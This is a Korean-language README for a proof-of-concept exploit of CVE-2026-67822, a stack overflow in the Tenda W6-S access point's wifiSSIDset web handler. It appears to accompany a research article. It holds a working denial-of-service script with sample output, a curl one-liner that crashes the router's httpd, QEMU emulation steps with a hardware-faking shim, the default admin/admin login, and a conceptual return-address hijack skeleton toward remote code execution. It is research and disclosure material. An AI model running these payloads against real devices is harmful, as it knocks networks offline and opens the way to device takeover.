
Tenda W6-S /goform/wifiSSIDset의 CVE-2026-67822 스택 오버플로우에 대한 PoC: DoS 재현기, QEMU MIPS 심(shim), 및 개념적 RCE 페이로드 스켈레톤.
wifiSSIDset 스택 버퍼 오버플로 (PoC)Hunt-Benito 기사의 동반 PoC
"GO Without Bounds: CVE-2026-67822 — Tenda W6-S의 wifiSSIDset 폼 핸들러의 스택 오버플로".
CVE-2026-67822 (CVSS 9.8 Critical, CWE-121)은 Tenda W6-S 무선 액세스 포인트의 /bin/httpd(GoAhead 기반 웹 서버)에 있는 /goform/wifiSSIDset 엔드포인트를 구현하는 C 함수 formwrlSSIDset()의 스택 기반 버퍼 오버플로입니다.
char v34[64]; /* 64-byte stack buffer */
GO = websGetVar(a1, "GO", "wireless_basic.asp");
index = websGetVar(a1, "index", "0");
sprintf(v34, "/%s?index=%s", GO, index); /* unbounded -> stack overflow */
확인된 영향: 서비스 거부(httpd 크래시).
잠재적 영향: 원격 코드 실행(MIPS, 빌드에 스택 카나리/ASLR 없음).
실제 W6-S(기본 LAN IP 192.168.5.10) 또는 에뮬레이션된 인스턴스를 대상으로:
$ python3 poc_dos.py --target http://192.168.5.10
[*] Target : http://192.168.5.10/goform/wifiSSIDset
[*] Payload : GO = 2000 bytes ('A'), index = 0
[*] Sending POST...
[+] HTTP response: 200 (httpd accepted the request before crashing)
[*] Re-probing the management interface...
[!] httpd no longer responds (connection refused) — service crashed.
[+] Result: denial of service CONFIRMED.
동일한 원라이너:
$ curl -s http://192.168.5.10/goform/wifiSSIDset \
-d "GO=$(python3 -c "print('A'*2000)")&wl_radio=0&index=0"
요청이 반환된 후에는 전원을 껐다 켤 때까지 관리 인터페이스가 작동하지 않습니다.
fake_apmib.so)/bin/httpd는 실제 Tenda 하드웨어(libapmib.so, cfmd 데몬, LAN MAC)를 기대합니다. fake_apmib.c 심은 에뮬레이션된 펌웨어 파일시스템 내부에서 httpd가 부팅되도록 이러한 요소 중 필요한 만큼만 위장합니다. 이 구성은 원래 연구자의 기법을 그대로 따릅니다.
$ mips-linux-gnu-gcc -shared -fPIC -o fake_apmib.so fake_apmib.c
$ sudo brctl addbr virbr0
$ sudo ifconfig virbr0 192.168.5.1/24 up
$ sudo tunctl -t tap0
$ sudo ifconfig tap0 192.168.5.11/24 up
$ sudo brctl addif virbr0 tap0
$ sudo qemu-system-mips -M malta \
-kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_wheezy_mips_standard.qcow2 \
-append "root=/dev/sda1" \
-netdev tap,id=tapnet,ifname=tap0,script=no \
-device rtl8139,netdev=tapnet \
-nographic
guest# ifconfig eth0 192.168.5.10
# copy the extracted firmware filesystem + the shim onto the guest
$ scp ./squashfs-root.tar.gz [email protected]:/root/
$ scp ./fake_apmib.so [email protected]:/root/squashfs-root/
httpd 실행guest# mount -o bind /proc ./squashfs-root/proc
guest# mount -o bind /dev ./squashfs-root/dev
guest# rm ./squashfs-root/webroot && ln -s /webroot_ro ./squashfs-root/webroot
guest# chroot ./squashfs-root/ /bin/sh
chroot# mkdir -p /var/run /tmp && chmod 1777 /tmp
chroot# LD_PRELOAD=/fake_apmib.so /bin/httpd &
이제 관리 인터페이스는 http://192.168.5.10(기본 로그인 admin / admin)에서 접근할 수 있으며, poc_dos.py는 실제 하드웨어에서와 정확히 동일하게 동작합니다.
Tenda 내부
apmib/cfmd헬퍼의 정확한 프로토타입은 펌웨어 빌드마다 다릅니다. 대상의 실제libapmib.so(objdump -T libapmib.so/ IDA)와 대조하여 확인하고 필요에 따라fake_apmib.c를 조정하세요.
exploit_conceptual.py는 DoS를 넘어서는 익스플로잇 형태를 문서화합니다:
# 1) Find the offset from the GO buffer to saved $ra on YOUR firmware build
$ python3 exploit_conceptual.py --target http://192.168.5.10 probe --len 256
# (read the faulting $ra / PC from the QEMU crash dump or a gdb stub, then
# feed it to cyclic_offset() to recover the exact offset)
# 2) Build a payload that overwrites $ra with a chosen address
$ python3 exploit_conceptual.py --target http://192.168.5.10 build --offset <N> --ra 0x<AABBCCDD>
이 스켈레톤은 $ra만 리다이렉트합니다. 하이재킹을 실제 코드 실행으로 전환하려면 NX가 아닌 스택용 셸코드 또는 특정 펌웨어 이미지 내 가젯으로 조립한 ROP 체인이 필요합니다 — 둘 다 빌드별로 다르며 의도적으로 연구자의 몫으로 남겨집니다. DoS는 확인되었으며, RCE는 CVSS 벡터(C:H/I:H)가 반영하는 그럴듯한 최악의 경우입니다.
이 코드는 승인된 보안 연구 전용입니다. 소유한 장치 또는 명시적인 서면 테스트 허가를 받은 장치에 대해서만 실행하세요. 통제권이 없는 네트워크나 하드웨어에는 사용하지 마세요.
| 영향받는 제품 | Tenda W6-S 무선 액세스 포인트 |
| 영향받는 펌웨어 | v1.0.0.4(510) |
| CVSS v3.1 | 9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-121 (스택 기반 버퍼 오버플로) |
| 취약한 엔드포인트 | POST /goform/wifiSSIDset (파라미터 GO, index) |
| 발견자 / 크레딧 | trister |
| 파일 | 용도 |
|---|
poc_dos.py | 확인된 DoS 재현 스크립트. 과도하게 큰 GO 파라미터를 전송하여 결과적으로 발생하는 httpd 크래시를 감지합니다. 표준 라이브러리만 사용 — 의존성 없음. |
exploit_conceptual.py | 개념적 RCE 스켈레톤. 제어 흐름 하이재킹 형태(저장된 $ra까지 패딩 후 덮어쓰기)와 $ra까지의 오프셋을 경험적으로 도출하는 cyclic-pattern 헬퍼를 보여줍니다. 실제 동작하는 셸코드나 가젯 주소는 포함하지 않습니다. |
fake_apmib.c | Tenda 하드웨어/MIB 호출을 위장하여 /bin/httpd가 QEMU MIPS 게스트에서 부팅되도록 하는 LD_PRELOAD 심(shim) — 물리적 장치 없이 버그를 재현하는 데 사용된 기법입니다. |
| 심이 가로채는 호출 | 반환값 | 이유 |
|---|
apmib_init() | 1 | 하드웨어/MIB 초기화 건너뜀 |
ConnectCfm() | 1 | cfmd 데몬이 응답한 것처럼 가장 |
GetValue("lan.ip", …) | 192.168.5.10 | 정적 관리 IP |
ioctl(SIOCGIFHWADDR) | 00:11:22:33:44:55 | 가짜 MAC |
connect() | passthrough | unix 소켓/TCP 연결이 정상 처리됨 |